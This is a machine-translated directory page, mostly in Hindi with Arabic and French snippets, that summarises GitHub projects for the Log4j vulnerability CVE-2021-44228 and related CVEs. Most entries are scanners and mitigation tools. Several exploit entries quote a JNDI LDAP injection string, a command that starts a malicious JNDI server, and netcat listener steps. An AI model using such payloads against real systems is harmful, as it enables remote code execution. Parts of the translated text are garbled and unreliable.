CVE-2021-44228

अवलोकन इस रिपॉजिटरी में Apache Log4j 2 रिमोट कोड निष्पादन भेद्यता CVE-2021-44228 से संबंधित समझौते के संकेतकों IOC की हंटिंग को सुविधाजनक बनाने के लिए OpenIOC नियम शामिल हैं। ये नियम हंटिंग नियम माने जाते हैं और इस प्रकार पहचान की प्रभावशीलता संगठन के अनुसार भिन्न होगी। पर्यावरण-विशिष्ट ट्यूनिंग ...

Log4J-Mitigation-CVE-2021-44228--CVE-2021-45046--CVE-2021-45105--CVE-2021-44832

Log4J-शमन-CVE-2021-44228,CVE-2021-45046,CVE-2021-45105,CVE-2021-44832 कृपया इस पर नज़र बनाए रखें क्योंकि Apache Log4j टीम बहुत अधिक CVE का खुलासा कर रही है और सुरक्षा समस्याओं को बहुत तेज़ी से ठीक कर रही है।...

CVE-2021-44228_scanner-main-Modified-

CVE-2021-44228scanner संशोधित - अप्रचलित मूल स्क्रिप्ट और रिपॉजिटरी: https://github.com/CERTCC/CVE-2021-44228scanner संशोधन: एलेक्स पेना log4j CVE-2021-44228 भेद्यता के प्रति संवेदनशील अनुप्रयोगों का पता jar, war, और ear फ़ाइलों को स्कैन करके लगाया जा सकता है, ताकि JndiLookup.class की उपस्थिति खो...

CVE-2021-44228-Scanner

log4j2-scan एक एकल बाइनरी कमांड-लाइन उपकरण है जो CVE-2021-44228 भेद्यता स्कैनिंग और शमन पैच के लिए है। यह नेस्टेड JAR फ़ाइल स्कैनिंग और पैच का भी समर्थन करता है। यह CVE-2021-45046 log4j 2.15.0, CVE-2021-45105 log4j 2.16.0, CVE-2021-44832 log4j 2.17.0, CVE-2021-4104, CVE-2019-17571, CVE-2017-5645,...

Get-log4j-Windows-local

Get-log4j-Windows-local.ps1 एकल स्थानीय विंडोज़ सर्वर पर सभी log4j घटकों की पहचान करें। CVE-2021-44228। एकल उपयोग प्रति - बहु-कंप्यूटर के लिए https://github.com/KeysAU/Get-log4j-Windows.ps1 देखें। Apache log4j CVE-2021-44228 स्क्रिप्ट चलाना: निर्यात: कॉलम A - I: निरंतर: विवरण: root@kitploit: एकल...

log4j_RCE_CVE-2021-44832

Log4j 2.17.0 RCE -- CVE-2021-44832 पुनरुत्पादन 1. दुर्भावनापूर्ण jndi सर्वर प्रारंभ करें root@kitploit: java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "/System/Applications/Calculator.app/Contents/MacOS/Calculator" -A "127.0.0.1" 2. config/log4j2.xml में DataSource अनुभाग को अपने उत्पन्...

log4shell-vulnerable-app

Log4Shell नमूना असुरक्षित अनुप्रयोग CVE-2021-44228 इस रिपॉजिटरी में CVE-2021-44228 से असुरक्षित एक Spring Boot वेब अनुप्रयोग है, जिसे Log4Shell नाम दिया गया है। यह Log4j 2.14.1 spring-boot-starter-log4j2 2.6.1 के माध्यम से और JDK 1.8.0181 का उपयोग करता है। अनुप्रयोग चलाना इसे चलाएँ: root@kitploit...

Log4j

إنشاء تطبيق عينة ضعيف . 2. بدء مستمع netcat . 3. تشغيل الاستغلال . 4. استخدام jdk1.8.020 للحصول على نتائج أفضل . Exploit-db - https://www.exploit-db.com/exploits/50592...

log4j_scanner

फ़ाइलसिस्टम log4jscanner विंडोज और यूनिक्स के लिए। CVE-2021-44228, CVE-2021-45046, CVE-2019-17571, CVE-2021-44832 के लिए स्कैन कर रहा है। न्यूनतम Python 2.7 की आवश्यकता है। इसे ऑडिट के कस्टम स्क्रिप्ट नियम के रूप में या सर्वर ऑटोमेशन के साथ सर्वर स्क्रिप्ट के माध्यम से निष्पादित किया जा सकता है।...

Log4Shell-PoC

██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██╗ ██╗███████╗██╗ ██╗ ██║ ██╔═══██╗██╔════╝ ██║ ██║██╔════╝██║ ██║██╔════╝██║ ██║ ██║ ██║ ██║██║ ███╗███████║███████╗███████║█████╗ ██║ ██║ ██║ ██║ ██║██║ ██║╚════██║╚════██║██╔══██║██╔══╝ ██║ ██║ ███████╗╚██████╔╝╚██████╔╝ ██║███████║██║...

Log4J_0day_RCE

समुदाय में शामिल हों Telegram CVE-2021-44228Apache Log4j रिमोट कोड निष्पादन） प्रभावित संस्करण आप JNDI-Injection-Exploit का उपयोग करके exploit कर सकते हैं। rc1 को बायपास करें उदाहरण के लिए: root@kitploit: $jndi:ldap://127.0.0.1:1389/ badClassName...

log4j-scan

log4j-scan एक पूरी तरह से स्वचालित, सटीक और व्यापक स्कैनर जो कमजोर log4j होस्ट खोजने के लिए है विशेषताएँ URL की सूची के लिए समर्थन। 60 से अधिक HTTP अनुरोध हेडर के लिए फ़ज़िंग पिछले टूल्स में केवल 3-4 हेडर देखे गए थे। HTTP POST डेटा पैरामीटर के लिए फ़ज़िंग। JSON डेटा पैरामीटर के लिए फ़ज़िंग। कमजोर...

LOGJ4_PocShell_CVE-2021-44228

log4j-shell-poc Une preuve de concept PoC pour la vulnérabilité récemment découverte CVE-2021-44228. Récemment, une nouvelle vulnérabilité a été découverte dans log4j, une bibliothèque de journalisation Java très utilisée dans des projets comme Elasticsearch, Minecraft et bien d'autres. Ce dépôt...

CVE-2021-44228-PoC

CVE-2021-44228 PoC CVE-2021-44228 के लिए PoC। परियोजना केवल शैक्षिक उद्देश्यों के लिए बनाई गई है। एक्सप्लॉइट सर्वर यह परियोजना दो सर्वर बनाती है: http और ldap। एक्सप्लॉइट के काम करने के लिए दोनों आवश्यक हैं। निर्दिष्ट java फ़ाइल संकलित की जाती है और Dockerfile में सर्वर प्रारंभ किए जाते हैं। पेलो...

log4j-scan

1 تعليمات الاستخدام أداة كشف ثغرة rce في log4j 2.x CVE-2021-44228، تُرسل طلب get إلى الرابط المستهدف وتستخدم dnslog لاستكشاف ما إذا كان هناك صدى استجابة root@kitploit: $ python3 log4j-scan.py -h Usage: python log4j-scan.py -u Options: -h, --help show this help message and exit -u URL, --url=URL...

log4j-scanner

Log4j स्कैनर अपनी फ़ाइलों और निर्देशिकाओं में Log4Shell भेद्यता CVE-2021-44832 का पता लगाएं। विवरण यह Rust-आधारित Log4j स्कैनर आपको उन कमजोर फ़ाइलों की पहचान और पता लगाने में मदद करने के लिए डिज़ाइन किया गया है जिनमें Log4Shell भेद्यता CVE-2021-44832 हो सकती है। यह फ़ाइलों और निर्देशिकाओं को स्कै...

Log4J_checker

Log4Jchecker Vérificateur Log4J pour Apache CVE-2021-44228 log4j-checker.sh est un script bash qui regroupe plusieurs vérifications...

log4j-poc

इस रिपॉजिटरी में README नहीं है।...

cve-2021-44228-log4j-test

cve-2021-44228-log4j-test Test 1. Serveur LDAP et serveur de téléchargement de fichiers malveillants 1.1 Exécution de Docker-compose docker-compose.yml root@kitploit: version: '2' services: dockerdj: image: openidentityplatform/opendj:latest containername: ldap environment: ROOTUSERDN: "cn=han"...

log4j-payload-generator

log4j-payload-generator log4j-paylaod generator : Un générateur de payload générique pour Apache log4j RCE CVE-2021-44228. Déploiement Pour déployer ce projet, exécutez root@kitploit: sudo git clone https://github.com/yesspider-hacker/log4j-payload-generator.git Exécution des tests Pour exécuter...